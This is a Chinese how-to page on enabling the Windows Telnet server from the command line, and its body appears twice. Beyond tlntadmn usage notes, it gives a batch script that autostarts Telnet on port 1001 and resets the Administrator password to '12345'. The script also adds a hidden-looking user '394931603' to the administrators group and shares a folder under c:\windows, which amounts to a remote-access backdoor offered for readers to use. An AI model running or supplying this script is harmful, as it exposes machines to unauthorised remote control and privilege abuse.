cmd下開啟telnet的方法
更新時(shí)間:2012年06月07日 20:53:45 作者:
cmd下開啟telnet的方法,需要的朋友可以參考下
1.啟動
sc config tlntsvr start= auto
net start telnet
2.telnet管理工具
C:\>tlntadmn /?
用法: tlntadmn [computer name] [common_options] start | stop | pause | continue
| -s | -k | -m | config config_options
所有會話用 ‘a(chǎn)ll'。
-s sessionid 列出會話的信息。
-k sessionid 終止會話。
-m sessionid 發(fā)送消息到會話。
config 配置telnet 服務(wù)器參數(shù)。
common_options 為:
-u user 指定要使用其憑據(jù)的用戶
-p password 用戶密碼
config_options 為:
dom = domain 設(shè)定用戶的默認(rèn)域
ctrlakeymap = yes|no 設(shè)定ALT 鍵的映射
timeout = hh:mm:ss 設(shè)定空閑會話超時(shí)值
timeoutactive = yes|no 啟用空閑會話。
maxfail = attempts 設(shè)定斷開前失敗的登錄企圖數(shù)。
maxconn = connections 設(shè)定最大連接數(shù)。
port = number 設(shè)定telnet 端口。
sec = [+/-]NTLM [+/-]passwd
設(shè)定身份驗(yàn)證機(jī)構(gòu)
mode = console|stream 指定操作模式。
3.更改驗(yàn)證模式
tlntadmn config sec =passwd
4.更改端口
tlntadmn config port = 1001
5.批處理
@echo off
@sc config tlntsvr start= auto
@net start telnet
@tlntadmn config sec =passwd
@tlntadmn config port = 1001
@net user administrator 12345
@net user 394931603 123456789 /add
@net localgroup administrators 394931603 /add
@pause
@md c:\windows\3949
@net share 3949=c:\windows\3949
sc config tlntsvr start= auto
net start telnet
2.telnet管理工具
C:\>tlntadmn /?
用法: tlntadmn [computer name] [common_options] start | stop | pause | continue
| -s | -k | -m | config config_options
所有會話用 ‘a(chǎn)ll'。
-s sessionid 列出會話的信息。
-k sessionid 終止會話。
-m sessionid 發(fā)送消息到會話。
config 配置telnet 服務(wù)器參數(shù)。
common_options 為:
-u user 指定要使用其憑據(jù)的用戶
-p password 用戶密碼
config_options 為:
dom = domain 設(shè)定用戶的默認(rèn)域
ctrlakeymap = yes|no 設(shè)定ALT 鍵的映射
timeout = hh:mm:ss 設(shè)定空閑會話超時(shí)值
timeoutactive = yes|no 啟用空閑會話。
maxfail = attempts 設(shè)定斷開前失敗的登錄企圖數(shù)。
maxconn = connections 設(shè)定最大連接數(shù)。
port = number 設(shè)定telnet 端口。
sec = [+/-]NTLM [+/-]passwd
設(shè)定身份驗(yàn)證機(jī)構(gòu)
mode = console|stream 指定操作模式。
3.更改驗(yàn)證模式
tlntadmn config sec =passwd
4.更改端口
tlntadmn config port = 1001
5.批處理
復(fù)制代碼 代碼如下:
@echo off
@sc config tlntsvr start= auto
@net start telnet
@tlntadmn config sec =passwd
@tlntadmn config port = 1001
@net user administrator 12345
@net user 394931603 123456789 /add
@net localgroup administrators 394931603 /add
@pause
@md c:\windows\3949
@net share 3949=c:\windows\3949
相關(guān)文章
DOS下的系統(tǒng)設(shè)備加載與系統(tǒng)環(huán)境設(shè)置
考慮到現(xiàn)在上網(wǎng)的朋友,大都沒有從基礎(chǔ)上接觸過DOS,也很少有在實(shí)際應(yīng)用的環(huán)境下接觸DOS的機(jī)會,所以特別講一下DOS下的系統(tǒng)設(shè)備加載與系統(tǒng)環(huán)境設(shè)置,以便于大家真正的能使用DOS2023-08-08CALL命令無法在PowerShell中使用的原因及解決方法
在 PowerShell 終端中使用 CALL 命令時(shí)報(bào)錯(cuò),無法將“CALL”項(xiàng)識別為 cmdlet、函數(shù)、腳本文件或可運(yùn)行程序的名稱,接下來通過本文給大家講解CALL命令無法在PowerShell中使用的解決方法,需要的朋友可以參考下2022-11-11Windows使用cmd命令行查看、修改、刪除與添加環(huán)境變量
這篇文章介紹了Windows使用cmd命令行查看、修改、刪除與添加環(huán)境變量的方法,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2022-06-06